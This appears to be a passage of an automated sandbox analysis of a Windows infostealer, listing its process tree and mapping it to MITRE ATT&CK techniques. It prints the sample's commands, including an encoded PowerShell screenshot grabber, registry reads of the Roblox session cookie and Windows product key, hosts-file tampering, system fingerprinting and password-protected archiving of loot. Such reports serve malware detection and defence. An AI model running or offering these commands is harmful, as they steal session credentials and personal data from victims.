    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1304
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qqphy2wj\qqphy2wj.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2668
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5191.tmp" "c:\Users\Admin\AppData\Local\Temp\qqphy2wj\CSCCEA97BDDC9D4B70BEF09A7255E51464.TMP"
        6⤵
        
        PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:544
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:5936
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:1992
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    PID:4116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:3520
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:5808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI30642\rar.exe a -r -hp"22" "C:\Users\Admin\AppData\Local\Temp\TrzEs.zip" *"
    3⤵
    - Executes a command shell one-liner
    PID:5136
  - - C:\Users\Admin\AppData\Local\Temp\_MEI30642\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI30642\rar.exe a -r -hp"22" "C:\Users\Admin\AppData\Local\Temp\TrzEs.zip" *
      4⤵
      Executes dropped EXE
      PID:2840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5604"
    3⤵
    - Executes a command shell one-liner
    PID:3564
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5604
      4⤵
      Kills process with taskkill
      PID:1964

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact